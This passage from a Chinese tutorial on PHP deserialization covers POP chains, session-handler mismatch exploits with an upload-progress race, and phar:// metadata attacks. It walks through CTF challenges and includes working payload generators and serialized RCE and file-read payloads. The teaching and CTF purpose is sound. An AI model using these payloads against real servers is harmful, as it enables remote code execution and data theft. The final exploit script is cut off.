发现类func中存在__invoke方法执行了字符串拼接,需要把func当成函数使用自动调用__invoke然后把$mod1赋值为string1的对象与$mod2拼接。 ``` $this->mod1 = new string1() 这样的话在字符串拼接的时候就会触发魔术方法__toString() ``` 3. 在funct中找到了函数调用,需要把mod1赋值为func类的对象,又因为函数调用在__call方法中,且参数为$test2,即无法调用test2方法时自动调用 __call方法; ``` $this->mod1 = new func() 将func类作为函数调用就会触发魔术方法__invoke() ``` 4. 在Call中的test1方法中存在$this->mod1->test2();,需要把$mod1赋值为funct的对象,让__call自动调用。 ``` $this->mod1 = new funct() 因为$test2()方法不存在,当$this->mod1调用的时候会触发魔术方法__call() ``` \5. 查找test1方法的调用点,在start_gg中发现$this->mod1->test1();,把$mod1赋值为Call类的对象,等待__destruct()自动调用。这个程序的起点就在这里 ``` $this->mod1 = new Call() ``` 这个例子有趣的地方是在于结合魔术方法来层层调用,根据上面的分析来构造payload: ``` <?php class start_gg { public $mod1; public $mod2; public function __construct() { $this->mod1 = new Call(); //把$mod1赋值为Call类对象 } public function __destruct() { $this->mod1->test1(); } } class Call { public $mod1; public $mod2; public function __construct() { $this->mod1 = new funct(); //把 $mod1赋值为funct类对象 } public function test1() { $this->mod1->test2(); } } class funct { public $mod1; public $mod2; public function __construct() { $this->mod1= new func(); //把 $mod1赋值为func类对象 } public function __call($test2,$arr) { $s1 = $this->mod1; $s1(); } } class func { public $mod1; public $mod2; public function __construct() { $this->mod1= new string1(); //把 $mod1赋值为string1类对象 } public function __invoke() { $this->mod2 = "字符串拼接".$this->mod1; } } class string1 { public $str1; public function __construct() { $this->str1= new GetFlag(); //把 $str1赋值为GetFlag类对象 } public function __toString() { $this->str1->get_flag(); return "1"; } } class GetFlag { public function get_flag() { echo "flag:"."xxxxxxxxxxxx"; } } $b = new start_gg; //构造start_gg类对象$b echo urlencode(serialize($b)); //显示输出url编码后的序列化对象 ```  输出payload后传参,成功执行get_flag():  ## 6 **POP链构造小例子四** ``` <?php class Modifier { protected $var; public function append($value){ include($value); } public function __invoke(){ $this->append($this->var); } } class Show{ public $source; public $str; public function __construct($file='index.php'){ $this->source = $file; echo 'Welcome to '.$this->source."<br>"; } public function __toString(){ return $this->str->source; } public function __wakeup(){ if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) { echo "hacker"; $this->source = "index.php"; } } } class Test{ public $p; public function __construct(){ $this->p = array(); } public function __get($key){ $function = $this->p; return $function(); } } if(isset($_GET['pop'])){ @unserialize($_GET['pop']); } else{ $a=new Show; highlight_file(__FILE__); } ?> ``` 通读代码,发现漏洞点在于可以通过调用Modifier类中的include方法造成任意文件包含漏洞。这是一个类的普通方法,要让这个方法执行,需要构造一个POP链。 1. Modifier类中append方法被__invoke()调用,并传入$this->var参数。当类Modifier被当作函数调用的时候,会自动调用魔术方法__invoke()。 最后在Test类的构造函数看到了$this->p,这里可以直接通过反序列化控制属性p的值,然后通过调用魔术方法__get()来return一个p(),类被当作函数调用就可以触发魔术方法__invoke(),需要把p赋值为Modifier类的对象,$this->var可以传入想要包含的文件。 ``` $this->p = new Modifier() ``` 2. Test类中的魔术方法__get()是在读取不可访问属性的值时会被调用,发现Show类中的魔术方法__toString()访问了str的source属性,如果str是Test类的对象,则不存在source属性,Test类的__get()魔术方法就会被调用。 ``` $this->str = new Test() ``` 3. Show类中的魔术方法__toString()是当一个对象被当作一个字符串被调用。发现Show类的构造方法__construct()使用echo输出字符串,如果$this->source指向一个对象,就会调用__toString()方法。 ``` $a = new Show(); $this->source = $a; ``` 最终的调用链如下: ``` include <-- Modifier::__invoke() <-- Test::__get() <-- Show::__toString() ``` 尝试构造payload: ``` <?php class Modifier { protected $var = "D://1.txt"; } class Show{ public $source; public $str; public function __construct($file='index.php'){ $this->source = $file; echo 'Welcome to '.$this->source."<br>"; } } class Test{ public $p; public function __construct(){ $this->p = new Modifier(); } } $a = new Show(); $a->source = $a; $a->str = new Test(); echo urlencode(serialize($a)); ?> ```  输出payload后传参,成功执行:  # 3 **PHP Session反序列化** 以下内容参考自《[带你走进PHP session反序列化漏洞](https://xz.aliyun.com/t/6640#toc-2)》 ## 1 **PHP Session*session请求过程** 当第一次访问网站时,Seesion_start()函数就会创建一个唯一的Session ID,并自动通过HTTP的响应头,将这个Session ID保存到客户端Cookie中。同时,也在服务器端创建一个以Session ID命名的文件,用于保存这个用户的会话信息。当同一个用户再次访问这个网站时,也会自动通过HTTP的请求头将Cookie中保存的Seesion ID再携带过来,这时Session_start()函数就不会再去分配一个新的Session ID,而是在服务器的硬盘中去寻找和这个Session ID同名的Session文件,将这之前为这个用户保存的会话信息读出,在当前脚本中应用,达到跟踪这个用户的目的。 **session_start的作用** 当会话自动开始或者通过 session_start() 手动开始的时候, PHP 内部会依据客户端传来的PHPSESSID来获取现有的对应的会话数据(即session文件), PHP 会自动反序列化session文件的内容,并将之填充到 $_SESSION 超级全局变量中。如果不存在对应的会话数据,则创建名为sess_PHPSESSID(客户端传来的)的文件。如果客户端未发送PHPSESSID,则创建一个由32个字母组成的PHPSESSID,并返回set-cookie。 整个流程大概如上所述,也可参考下述流程图:  ## 2 **Session存储机制** PHP中的Session中的内容并不是放在内存中的,而是以文件的方式来存储的,存储方式就是由配置项session.save_handler来进行确定的,默认是以文件的方式存储。存储的文件是以sess_sessionid来进行命名的,文件的内容就是Session值的序列化之后的内容。 先来大概了解一下PHP Session在php.ini中主要存在以下配置项: | **Directive** | **含义** | | ------------------------------- | ------------------------------------------------------------ | | session.save_handler | 设定用户自定义session存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)。默认为files | | session.save_path | 设置session的存储路径,默认在/tmp | | session.serialize_handler | 定义用来序列化/反序列化的处理器名字。默认使用php。 | | session.auto_start | 指定会话模块是否在请求开始时启动一个会话,默认为0不启动 | | session.upload_progress.enabed | 将上传文件的进度信息存储在session中。默认开启 | | session.upload_progress.cleanup | 一旦读取了所有的POST数据,立即清除进度信息。默认开启 |  在PHP中Session有三种序列化的方式,分别是php,php_serialize,php_binary,不同的引擎所对应的Session的存储的方式不同 | **存储引擎** | **存储方式** | | ------------- | ------------------------------------------------------------ | | php_binary | 键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize() 函数序列化处理的值 | | php | 键名 + 竖线 + 经过 serialize() 函数序列处理的值 | | php_serialize | (PHP>5.5.4) 经过 serialize() 函数序列化处理的数组 | 下面通过小例子来展示一下存储方式的不同: **php处理器:** ``` <?php error_reporting(0); ini_set('session.serialize_handler','php'); session_start(); $_SESSION['username'] = $_GET['username']; ?> ```  序列化的结果为:username|s:7:"bmjoker"; 文件名为 sess_ck17sapjdvffchabcgp2suji96,其中ck17sapjdvffchabcgp2suji96为当前会话的sessionid Session文件内容为:$_SESSION['username']的键名 + | + GET参数经过serialize序列化后的值。 **php_binary处理器** ``` <?php error_reporting(0); ini_set('session.serialize_handler','php_binary'); session_start(); $_SESSION['username'] = $_GET['user']; ?> ```  序列化的结果为:usernames:7:"bmjoker"; 文件名为 sess_ck17sapjdvffchabcgp2suji96,其中ck17sapjdvffchabcgp2suji96为当前会话的sessionid Session文件内容为:键名的长度对应的 ASCII 字符 + $_SESSION['username']的键名 + GET参数经过serialize序列化后的值。 **php_serialize处理器** ``` <?php error_reporting(0); ini_set('session.serialize_handler','php_serialize'); session_start(); $_SESSION['username'] = $_GET['user']; ?> ```  序列化的结果为:a:1:{s:8:"username";s:7:"bmjoker";} 文件名为 sess_ck17sapjdvffchabcgp2suji96,其中ck17sapjdvffchabcgp2suji96为当前会话的sessionid Session文件内容为:GET参数经过serialize序列化后的值。 ## 3 **Session反序列化漏洞** PHP在session存储和读取时,都会有一个序列化和反序列化的过程,PHP内置了多种处理器用于存取 $_SESSION 数据,都会对数据进行序列化和反序列化,PHP中的Session的实现是没有的问题的,漏洞主要是由于使用不同的引擎来处理session文件造成的。 **存在对$_SESSION变量赋值** php引擎存储Session的格式为 | php | 键名 + 竖线 + 经过 serialize() 函数序列处理的值 | | ------------- | ------------------------------------------------- | | php_serialize | (PHP>5.5.4) 经过 serialize() 函数序列化处理的数组 | 如果程序使用两个引擎来分别处理的话就会出现问题。比如下面的例子,先使用php_serialize引擎来存储Session: Session1.php ``` <?php error_reporting(0); ini_set('session.serialize_handler','php_serialize'); session_start(); $_SESSION['username'] = $_GET['user']; echo "<pre>"; var_dump($_SESSION); echo "</pre>"; ?> ``` 接下来使用php引擎来读取Session文件 Session2.php ``` <?php error_reporting(0); ini_set('session.serialize_handler','php'); session_start(); class user{ var $name; var $age; function __wakeup(){ echo "hello ".$this->name." !" } } ?> ``` 漏洞的主要原因在于不同的引擎对于竖杠' | '的解析产生歧义。 对于php_serialize引擎来说' | '可能只是一个正常的字符;但对于php引擎来说' | '就是分隔符,前面是$_SESSION['username']的键名 ,后面是GET参数经过serialize序列化后的值。从而在解析的时候造成了歧义,导致其在解析Session文件时直接对' | '后的值进行反序列化处理。 可能有的人看到这里会有疑问,在使用php引擎读取Session文件时,为什么会自动对' | '后面的内容进行反序列化呢?也没看到反序列化unserialize函数。 这是因为使用了session_start()这个函数 ,看一下官方说明:https://www.php.net/session_start/  可以看到PHP能自动反序列化数据的前提是,现有的会话数据是以特殊的序列化格式存储。 明白了漏洞的原理,也了解了反序列化漏洞的位置,现在来构造payload: ``` <?php class user{ var $name; var $age; } $a = new user(); $a->name = "bmjoker"; $a->age = "888"; echo serialize($a); ?> ```  如上生成的payload如果想利用php引擎读取Session文件时对' | '解析产生的反序列化漏洞,需要在payload前加个' | ',这个时候经过php_serialize引擎存储就会变成:``  这个使用如果使用php引擎去读取  直接访问Session2.php文件:  成功触发了user类的魔术方法__wakeup(),结合POP反序列化链就可以造成一些其他的漏洞。 但这种方法是在可以对$_SESSION进行赋值的情况下实现的,那如果代码中不存在对$_SESSION变量赋值的情况下又该如何利用? **不存在对$_SESSION变量赋值** 在PHP中还存在一个upload_process机制,即自动在$_SESSION中创建一个键值对(key:value),value中刚好存在用户可控的部分,可以看下官方描述的,这个功能在文件上传的过程中利用session实时返回上传的进度。  更多细节请参考:http://php.net/manual/zh/session.upload-progress.php 从上面的大概描述大概得知此漏洞需要session.upload_progress.enabled为on,在上传文件的时候同时POST一个与session.upload_process.name的同名变量。后端会自动将POST的这个同名变量作为键进行序列化然后存储到session文件中。下次请求就会反序列化session文件,从中取出这个键。所以漏洞的根本原因还是使用了不同的Session处理引擎。 来看一道Jarvis OJ 平台的 PHPINFO 题目 环境地址:http://web.jarvisoj.com:32784/ index.php ``` <?php //A webshell is wait for you ini_set('session.serialize_handler', 'php'); session_start(); class OowoO { public $mdzz; function __construct() { $this->mdzz = 'phpinfo();'; } function __destruct() { eval($this->mdzz); } } if(isset($_GET['phpinfo'])) { $m = new OowoO(); } else { highlight_string(file_get_contents('index.php')); } ?> ``` 通过index.php代码可以得知: 1. 是使用php的引擎来读取Session。 2. 如果存在GET方式传递进来的参数,就实例化Oowo类的对象,就会自动调用构造函数__construct(),将phpinfo()赋值给变量$mdzz,在程序结束的时候调用析构函数__destruct()通过eval执行$mdzz,说白了就是随便传一个参数,就可以看到php探针。  通过读取php探针文件发现了两个比较重要的信息: 1. 默认的Session存储引擎为php_serialize,但是index.php告诉我们Session读取使用的是php引擎,因为反序列化和序列化使用的处理器不同,由于格式的原因会导致数据无法正确反序列化,那么就可以通过构造伪造任意数据。 2. index.php代码中虽然没有对$_SESSION变量赋值,但是session.upload_progress.enabled 为 On。符合使用upload_process机制对变量$_SESSION赋值,并结合上面的Session反序列化来构造利用。 session.upload_progress.name 为 PHP_SESSION_UPLOAD_PROGRESS,可以本地创建 up_sess.html,一个向 index.php 提交 POST 请求的表单文件,其中包括PHP_SESSION_UPLOAD_PROGRESS 变量。 up_sess.html ``` <form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data"> <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" /> <input type="file" name="file" / > <input type="submit" /> </form> ```  接下来构造序列化payload来读取flag: ``` <?php ini_set('session.serialize_handler', 'php_serialize'); session_start(); class OowoO { public $mdzz='print_r(scandir(dirname(__FILE__)));'; } $obj = new OowoO(); echo serialize($obj); ?> ```  其中print_r(scandir(dirname(__FILE__)));用来打印当前文件绝对路径目录中的文件和目录的数组 接下来就要通过不同引擎的差异解析来构造反序列化payload,只需要在前面加上' | ',这样通过php引擎反序列化' | '后半部分,就可以打印出目录中的文件数组: ``` |O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";} ``` 在文件上传的时候使用burp抓包,在 PHP_SESSION_UPLOAD_PROGRESS 的 value 值中添加' | '和序列化的字符串 查看根目录文件:  发现flag文件与index.php文件在同一目录下,查看根目录路径:  读取flag文件:  ## 4 **Session反序列化POP链构造** 注:以下例子在本地搭建,需要在php.ini中对以下选项进行配置: ``` session.auto_start = Off session.serialize_handler = php_serialize session.upload_progress.cleanup = 0ff ``` session.auto_start = on 表示PHP在接收请求的时候会自动初始化Session,不再需要执行session_start()。 session.serialize_handler = php_serialize 表示默认使用php_serialize引擎进行存储。 session.upload_progress.cleanup = On 导致文件上传后,Session文件内容立即清空,这个时候就需要利用时间竞争,在Session文件内容清空前进行包含利用。 前期为了演示反序列化效果,暂时将这个选项关闭Off,后面会打开来展示利用条件竞争Session反序列化rce。 class.php ``` <?php highlight_string(file_get_contents(basename($_SERVER['PHP_SELF']))); //show_source(__FILE__); class foo1{ public $varr; function __construct(){ $this->varr = "index.php"; } function __destruct(){ if(file_exists($this->varr)){ echo "<br>文件".$this->varr."存在<br>"; } echo "<br>这是foo1的析构函数<br>"; } } class foo2{ public $varr; public $obj; function __construct(){ $this->varr = '1234567890'; $this->obj = null; } function __toString(){ // 类被当作字符串时被调用 $this->obj->execute(); return $this->varr; } function __desctuct(){ echo "<br>这是foo2的析构函数<br>"; } } class foo3{ public $varr; function execute(){ eval($this->varr); } function __desctuct(){ echo "<br>这是foo3的析构函数<br>"; } } ?> ``` index.php ``` <?php ini_set('session.serialize_handler', 'php'); require("./class.php"); session_start(); $obj = new foo1(); $obj->varr = "phpinfo.php"; ?> ``` 通读class.php文件,发现漏洞点在于可以通过调用foo3类中的eval方法造成命令执行漏洞。这是一个类的普通方法,要让这个方法执行,需要构造一个POP链。 1. foo3类中execute方法没有发现调用的地方,但是在foo2类中的魔术方法__toString()中发现调用了同名方法,这里可以把foo2类中的$obj实例化为foo3类的对象,这样只要调用__toString()就相当于调用foo3类中execute方法。 ``` $this->obj = new foo3(); ``` 2. 如果想触发foo2类中的魔术方法__toString()被触发,就需要foo2类或者类下的一个对象被当作字符串调用。而在foo1类中发现echo了一个对象,这里可以把foo1类中的$varr实例化为foo2类的一个对象,这样通过echo,把一个对象当作一个字符串调用,就可以触发foo2类中的__toString()方法。 ``` $this->varr = new foo2(); ``` class.php文件的调用链为: ``` foo3::execute <-- foo2::__toString <-- foo1::__destruct ``` 思路有了现在来构造payload: ``` <?php class foo1{ function __construct(){ $this->varr = new foo2(); } } class foo2{ function __construct(){ $this->obj = new foo3(); } } class foo3{ public $varr='phpinfo();'; } $obj = new foo1(); echo serialize($obj); ?> ```  再来分析一下index.php文件: 1. 发现使用php引擎来读取Session文件,而系统默认是使用php_serialize引擎来存储Session, 通过不同引擎的差异解析就可以反序列化rce。 2. 文件直接require(class.php),并且紧接着实例化一个foo1类的对象,这意味着使用php引擎解析完Session文件,反序列化payload直接就可以rce。 本地创建 up_sess.html,一个向 index.php 提交 POST 请求的表单文件,其中包括PHP_SESSION_UPLOAD_PROGRESS变量。 ``` <form action="http://127.0.0.1/index.php" method="POST" enctype="multipart/form-data"> <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" /> <input type="file" name="file" /> <input type="submit" /> </form> ``` 在文件上传的时候使用burp抓包,在 PHP_SESSION_UPLOAD_PROGRESS 的 value 值中添加' | '和序列化的字符串,payload为: ``` |O:4:"foo1":1:{s:4:"varr";O:4:"foo2":1:{s:3:"obj";O:4:"foo3":1:{s:4:"varr";s:10:"phpinfo();";}} ```   现在设置session.upload_progress.cleanup = On ,文件上传后,Session文件内容立即清空,这个时候就需要利用时间竞争来反序列化rce。  在文件上传的时候,抓取数据包,send to intruder模块,尝试大线程重放数据包:  开始爆破:  就这样通过时间竞争就可以实现反序列化rce。 # 4 **phar伪协议触发php反序列化** ## 1 **前言** 通常我们在利用反序列化漏洞的时候,只能将序列化后的字符串传入unserialize(),随着代码安全性越来越高,利用难度也越来越大。但在不久前的Black Hat上提出利用phar文件会以序列化的形式存储用户自定义的meta-data这一特性,拓展了php反序列化漏洞的攻击面。该方法在文件系统函数(file_exists()、is_dir()等)参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反序列化操作。 ## 2 **phar介绍和漏洞原理** phar就是php压缩文档。它可以把多个文件归档到同一个文件中,而且不经过解压就能被php访问并执行,与file://,php://等类似,也是一种流包装器。 **phar文件有四部分构成**: **1. a stub** 识别phar拓展的标识,格式为:xxx<?php xxx; __HALT_COMPILER();?>,对应的函数 Phar::setStub。前期内容不限,但必须以 __HALT_COMPILER();?>结尾,否则phar扩展将无法识别这个文件为phar文件。 **2. a manifest describing the contents** phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是漏洞利用的核心部分。对应函数Phar::setMetadata—设置phar归档元数据。 **3. the file contents** 被压缩文件的内容。 **4. [optional] a signature for verifying Phar integrity (phar file format only)** 签名,放在文件末尾。对应函数Phar :: stopBuffering—停止缓冲对Phar存档的写入请求,并将更改保存到磁盘。 **这里有两个关键点:** 1. **文件标识**,必须以 __HALT_COMPILER();?> 结尾,但前面的内容没有限制,也就是说我们可以轻易伪造一个图片文件或者pdf文件来绕过一些上传限制 2. **反序列化**,phar存储的meta-data信息以序列化方式存储,当文件操作函数通过phar://伪协议解析phar文件时,文件内容会被解析成phar对象,然后phar对象内的meta-data会被反序列化。 meta-data是用serialize()生成并保存在phar文件中,当内核调用phar_parse_metadata()解析meta-data数据时,会调用php_var_unserialize()对其进行反序列化操作,因此会造成反序列化漏洞。 而在一些上传点,我们可以更改phar的文件头并且修改其后缀名绕过检测,如:test.gif,里面的meta-data却是我们提前写入的恶意代码,而且可利用的文件操作函数又很多,所以这是一种不错的绕过+执行的方法。 ## 3 **构造有序列化的phar文件** 本地生成一个phar文件,要想使用Phar类里的方法,必须将php.ini文件中的phar.readonly配置项配置为0或Off  PHP内置phar类,其中的一些方法如下: ``` //实例一个phar对象供后续操作 $phar = new Phar('joker.phar'); //开始缓冲Phar写操作 $phar->startBuffering() //设置stub $phar->setStub("<?php __HALT_COMPILER(); ?>"); //以字符串的形式添加一个文件到 phar 档案 $phar->addFromString('test.php','<?php echo 'this is test file';'); //把一个fileTophar目录下的文件归档到phar档案 $phar->buildFromDirectory('fileTophar') //该函数解压一个phar包,extractTo()提取phar文档内容 $phar->extractTo() ``` 生成phar文件的代码如下: phar.php ``` <?php //反序列化payload构造 class TestObject { } @unlink("phar.phar"); //实例一个phar对象供后续操作,后缀名必须为phar $phar = new Phar("phar.phar"); //开始缓冲对phar的写操作 $phar->startBuffering(); //设置识别phar拓展的标识stub,必须以 __HALT_COMPILER(); ?> 结尾 $phar->setStub("<?php __HALT_COMPILER(); ?>"); //将反序列化的对象放入该文件中 $o = new TestObject(); $o->data='i am bmjoker'; //将自定义的归档元数据meta-data存入manifest $phar->setMetadata($o); //phar本质上是个压缩包,所以要添加压缩的文件和文件内容 $phar->addFromString("test.txt", "bmjoker"); //停止缓冲对phar的写操作 $phar->stopBuffering(); ?> ``` 运行代码会生成一个phar.phar文件在当前目录下,使用winhex打开  可以明显的看到meta-data是以序列化的形式存储的,有序列化数据必然会有反序列化操作,php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,测试后受影响的函数如下: | \*受影响的文件操作函数列表\* | ** ** | | | | | | ---------------------------------- | ------------- | ------------ | ----------------- | ---------------- | ---------------------- | | fileatime | filectime | file_exists | file_get_contents | touch | get_meta_tags | | file_put_contents | file | filegroup | fopen | hash_file | get_headers | | fileinode | filemtime | fileowner | fileperms | md5_file | getimagesize | | is_dir | is_executable | is_file | is_link | sha1_file | getimagesizefromstring | | is_readable | is_writable | is_writeable | parse_ini_file | hash_update_file | imageloadfont | | copy | unlink | stat | readfile | hash_hmac_file | exif_imagetype | 这些函数里面可以使用phar协议,当然还有常用的文件包含的几个函数 include、include_once、requrie、require_once 对刚才生成的phar使用文件操作函数实现反序列化读取: ``` <?php class TestObject{ function __destruct(){ echo $this->data; } } $filename = "phar://phar.phar/test.txt"; file_get_contents($filename); ?> ```  成功对meta-data里面的数据进行反序列化输出。 ## 4 **将phar伪造成其他格式的文件** 在前面分析phar的文件结构时可能会注意到,php识别phar文件是通过其文件头的stub,更确切一点来说是 __HALT_COMPILER();?> 这段代码,对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件。 ``` <?php class TestObject { } @unlink("phar.phar"); $phar = new Phar("phar.phar"); $phar->startBuffering(); //设置stub,增加gif文件头 $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); $o = new TestObject(); $o->data = 'i am bmjoker'; //将自定义meta-data存入manifest $phar->setMetadata($o); //添加要压缩的文件 $phar->addFromString("test.txt", "test"); //签名自动计算 $phar->stopBuffering(); ?> ``` 运行代码会生成一个phar.phar文件在当前目录下,使用winhex打开  采用这种方法可以绕过一些通过校验文件头的上传点。 来个小demo: upload_file.php: ``` <?php if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') { echo "Upload: " . $_FILES["file"]["name"]; echo "Type: " . $_FILES["file"]["type"]; echo "Temp file: " . $_FILES["file"]["tmp_name"]; if (file_exists("upload_file/" . $_FILES["file"]["name"])){ echo $_FILES["file"]["name"] . " already exists. "; } else { move_uploaded_file($_FILES["file"]["tmp_name"],"upload_file/" .$_FILES["file"]["name"]); echo "Stored in: " . "upload_file/" . $_FILES["file"]["name"]; } } else{ echo "Invalid file,you can only upload gif"; } ?> ``` upload_file.html ``` <body> <form action="http://127.0.0.1/upload_file.php" method="post" enctype="multipart/form-data"> <input type="file" name="file" /> <input type="submit" name="Upload" /> </form> </body> ``` file_un.php ``` <?php $filename=$_GET['filename']; class AnyClass{ var $output = 'echo "ok";'; function __destruct() { eval($this -> output); } } file_exists($filename); // 漏洞点 ?> ``` upload_file.php对上传文件的类型,后缀进行了判断,限制为GIF文件。而file_un.php文件主要使用file_exists()判断文件是否存在,并且存在魔术方法__destruct()。大概思路为首先根据file_un.php写一个生成phar的php文件,当然需要绕过为gif的限制,所以需要加GIF89a,然后我们访问这个php文件后,生成了phar.phar,修改后缀为gif,上传到服务器,然后利用file_exists,使用phar://执行代码。 构造payload代码eval.php: ``` <?php class AnyClass{ var $output = 'echo "ok";'; function __destruct() { eval($this -> output); } } $phar = new Phar('phar.phar'); $phar -> startBuffering(); $phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); $phar -> addFromString('test.txt','test'); $object = new AnyClass(); $object -> output= 'phpinfo();'; $phar -> setMetadata($object); $phar -> stopBuffering(); ?> ``` 访问eval.php,会在当前目录生成phar.phar,然后修改后缀 gif  访问file_upload.html将gif文件上传:  利用file_un.php使用phar协议来反序列化rce: ``` ?filename=phar://upload_file/phar.gif ```  ## 5 **漏洞利用条件** 1. phar文件要能够上传到服务器端(如GET、POST),并且要有file_exists(),fopen(),file_get_contents(),include()等文件操作的函数 2. 要有可用的魔术方法作为"跳板"; 3. 文件操作函数的参数可控,且:,/,phar等特殊字符没有被过滤。 虽然某些函数能够支持phar://的协议,但是如果目标服务器没有关闭phar.readonly时,就不能正常执行反序列化操作。 **在禁止phar开头的情况下的替代方法:** ``` compress.zlib://phar://phar.phar/test.txt compress.bzip2://phar://phar.phar/test.txt php://filter/read=convert.base64-encode/resource=phar://phar.phar/test.txt ``` 虽然会报warning,但是还是会执行。 ## 6 **CTF实战** 这里取SWPUCTF中的一道利用phar伪协议触发反序列化的例子,题目地址:[https://buuoj.cn/challenges#[SWPUCTF%202018\]SimplePHP](https://buuoj.cn/challenges#[SWPUCTF 2018]SimplePHP) 点击" 查看文件 ",发现了标志性的文件包含语句" file.php?file= "  通过文件包含可以读取file.php,function.php,class.php,base.php文件的源码 file.php ``` <?php header("content-type:text/html;charset=utf-8"); include 'function.php'; include 'class.php'; ini_set('open_basedir','/var/www/html/'); $file = $_GET["file"] ? $_GET['file'] : ""; if(empty($file)) { echo "<h2>There is no file to show!<h2/>"; } $show = new Show(); if(file_exists($file)) { $show->source = $file; $show->_show(); } else if (!empty($file)){ die('file doesn\'t exists.'); } ?> ``` function.php ``` <?php //show_source(__FILE__); include "base.php"; header("Content-type: text/html;charset=utf-8"); error_reporting(0); function upload_file_do() { global $_FILES; $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg"; //mkdir("upload",0777); if(file_exists("upload/" . $filename)) { unlink($filename); } move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename); echo '<script type="text/javascript">alert("上传成功!");</script>'; } function upload_file() { global $_FILES; if(upload_file_check()) { upload_file_do(); } } function upload_file_check() { global $_FILES; $allowed_types = array("gif","jpeg","jpg","png"); $temp = explode(".",$_FILES["file"]["name"]); $extension = end($temp); if(empty($extension)) { //echo "<h4>请选择上传的文件:" . "<h4/>"; } else{ if(in_array($extension,$allowed_types)) { return true; } else { echo '<script type="text/javascript">alert("Invalid file!");</script>'; return false; } } } ?> ``` class.php ``` <?php class C1e4r { public $test; public $str; public function __construct($name) { $this->str = $name; } public function __destruct() { $this->test = $this->str; echo $this->test; } } class Show { public $source; public $str; public function __construct($file) { $this->source = $file; //$this->source = phar://phar.jpg echo $this->source; } public function __toString() { $content = $this->str['str']->source; return $content; } public function __set($key,$value) { $this->$key = $value; } public function _show() { if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) { die('hacker!'); } else { highlight_file($this->source); } } public function __wakeup() { if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) { echo "hacker~"; $this->source = "index.php"; } } } class Test { public $file; public $params; public function __construct() { $this->params = array(); } public function __get($key) { return $this->get($key); } public function get($key) { if(isset($this->params[$key])) { $value = $this->params[$key]; } else { $value = "index.php"; } return $this->file_get($value); } public function file_get($value) { $text = base64_encode(file_get_contents($value)); return $text; } } ?> ``` base.php ``` <?php session_start(); ?> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>web3</title> <link rel="stylesheet" href="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/css/bootstrap.min.css"> <script src="https://cdn.staticfile.org/jquery/2.1.1/jquery.min.js"></script> <script src="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/js/bootstrap.min.js"></script> </head> <body> <nav class="navbar navbar-default" role="navigation"> <div class="container-fluid"> <div class="navbar-header"> <a class="navbar-brand" href="index.php">首页</a> </div> <ul class="nav navbar-nav navbra-toggle"> <li class="active"><a href="file.php?file=">查看文件</a></li> <li><a href="upload_file.php">上传文件</a></li> </ul> <ul class="nav navbar-nav navbar-right"> <li><a href="index.php"><span class="glyphicon glyphicon-user"></span><?php echo $_SERVER['REMOTE_ADDR'];?></a></li> </ul> </div> </nav> </body> </html> <!--flag is in f1ag.php--> ``` 通读以上代码,来这个提取有用的信息: **1. base.php**,用于前端展示的html代码。 **2. function.php**,处理上传的文件,对文件的后缀做了白名单限制,只允许gif,jpeg,jpg,png这几种后缀。上传文件的命名方式为 md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg";,并且保存在/upload目录下。 **3. class.php**,看到这个文件内容很明显使用反序列化来构造文件读取  结合上图中只对http,https,file:,gopher,dict协议的过滤,并且上面还提醒:$this->source = phar://phar.jpg,很明显是使用phar伪协议触发反序列化。 通读代码,发现漏洞点在于可以通过调用Test类中的file_get_contents()方法造成任意文件读取。这是一个类的普通方法,要让这个方法执行,需要构造一个POP链: 1. Test类中file_get()方法被同类下的get()方法调用,并传入$value参数。这里有一个if判断,判断$this->params[$key]是否存在,如果存在,这个$this->params[$key]就会被传递到file_get_contents()方法进行读取。继续往上看,发现构造函数__contruct()给参数$param赋值了一个数组,魔术方法__get()调用get()方法,并传入参数$key,而__get()方法在读取不可访问的属性的值时会被调用,寻找可以触发的地方。其实调用链为: ``` Test::file_get_contents() <-- Test::get() ``` 2. 在Show类的魔术方法__toString()看到存在$this->str['str']->source,如果$this->str['str']为Test类的一个实例,那么就会访问不存在的source变量,这里就可以触发__get()方法 ``` $this->str['str'] = new Test() ``` 3. 下一步就要寻找可以触发Show类中__toString()方法的地方,最后在C1e4r类中析构函数__destruct()内发现了echo方法,如果$this->test是Show类顶得一个实例化对象,当使用echo就会把这个对象当作字符串调用,就可以触发魔术方法__toString() ``` $this->test = new Show() ``` 最后的调用链为: ``` file_get_contents() <-- Test::get() <-- Test::__get() <-- Show::toString() <-- C1e4r::__destruct() ``` \*3. file.php\*,从前端接收file参数,判断文件是否存在在/var/www/html/下,但是文件中没有unserialize()反序列化口,因为文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,这里正好使用file_exists()对用户提交的参数进行解析,如果我们构造phar://解析phar文件,就可以反序列化payload,造成任意文件读取。 构造exp: ``` <?php class C1e4r { public $test; public $str; } class Show { public $source; public $str; } class Test { public $file; public $params; } $clear = new C1e4r(); $show = new Show(); $test = new Test(); $test->parms['source'] ="/var/www/html/f1ag.php"; $clear->str = $show; //利用$this->test = $this->str;echo $this->test; $show->str['str'] = $test; 